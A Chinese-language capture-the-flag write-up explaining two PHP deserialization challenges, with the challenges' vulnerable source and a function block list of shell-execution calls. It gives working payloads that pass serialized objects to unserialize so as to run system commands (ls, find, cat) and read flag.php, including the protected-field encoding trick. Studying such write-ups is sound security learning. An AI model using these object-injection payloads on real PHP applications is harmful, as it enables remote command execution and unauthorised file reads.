这两道题的考点都是反序列化,而且两道题都很简单,适合作为反序列化的入门提。
朱雀组-webphp
打开题目,等待两三秒发现有Warning:
Warning说使用date()
函数不太安全,但是在最后一行还是返回了当前的时间2020-05-20 02:35:32 am
。
我们抓个包来看一下发生了什么:
刷新页面,发现这是一个POST请求,请求参数有两个,func
和p
,其中func
指定了执行的函数,p
是func
中的参数,默认是Y-m-d h:i:s a
。
那我们可以先读取源码,这很简单,将参数修改为下面即可:
1
| func=file_get_contents&p=index.php
|
得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"];
if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
|
从源码的第22行至第29行可以看到,参数$func
不能在$disable_fun
数组中,但是参数$p
就没有这种要求了,所以我们可以利用反序列化,使$func
函数为unserialize
函数,然后参数$p
中是需要被反序列化的字符串,这个字符串就没有任何限制了,我们可以在其中包含$diable_fun
中的函数,使之执行我们想要执行的命令。
在Test
类中存在两个成员变量,$func
和$p
,并且存在魔术方法__destruct
。在$this->func
不为空字符串时就会将参数$func
和$p
传入方法gettime
中,而该方法中就有我们可以利用的$result = call_user_func($func, $p);
。
但是目前我们还不知道flag文件在哪里,所以先看一下当前目录下有什么文件,很容易就可以得到下面的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Test { var $p = "ls"; var $func = "system"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } }
echo serialize(new Test()); ?>
|
输出:
1
| O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
|
所以payload为:
1
| func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
|
当前目录下并没有flag信息,所以直接用find / -regex .*flag.*
命令给找一下flag
文件:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Test { var $p = "find / -regex .*flag.*"; var $func = "system"; function __destruct() { return "bantian"; } }
echo serialize(new Test());
?>
|
flag在/tmp/flagoefiu4r93
,读取flag:
1
| func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
|
青龙组-AreUSerialz
打开题目直接得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
|
ord()
函数返回字符串的首个字符的 ASCII 值。
从源码的include("flag.php");
来看,flag文件就在flag.php
中,那么目标就是读取这个文件。如果要读取文件,就要找可以利用的读取函数,恰好在read()
方法中存在file_get_contents
,file_get_contents($this->filename);
,并没有对$this->file
进行任何检查,所以这是突破口。
接着找read()
函数的调用点,该函数在process()
方法中,当满足$this->op == "2"
时,会调用read()
函数。而process()
方法在__construct
魔术方法和__destruct
魔术方法中都有出现,我们的利用点在__destruct
函数中。
分析__destruct
函数:
1 2 3 4 5 6
| function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
这里有一个强类型比较,$this->op === "2"
,如果结果为true,那么$this->op
就会变为1
,但是如果要在process
中成功调用read()
函数,那么op
就必须为2
,这里很好绕过,只要令$this->op
为数字型的2
即可。
可以得到exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class FileHandler { protected $op; protected $filename; protected $content;
public function __construct() { $this->op = 2; $this->filename = "flag.php"; $this->content = "hhah"; } }
echo serialize(new FileHandler());
|
但是private
声明的字段和protected
声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的实例中不可见,因此保护字段的字段名在序列化时,字段名前面会加上\0*\0
,这里的\0
表示ASCII码的0
字符,而不是\0
组合。\0
可以用%00
或\00
替代,所以得到:
1
| O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;s:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:4:"hhah";}
|
另一种方法是在php7.1+版本中,在序列化时对属性类型不太敏感,本地化的时候将属性改为public
就可以绕过了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class FileHandler { public $op; public $filename; public $content;
public function __construct() { $this->op = 2; $this->filename = "flag.php"; $this->content = "hhah"; } }
echo serialize(new FileHandler());
|
最后得到flag:
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好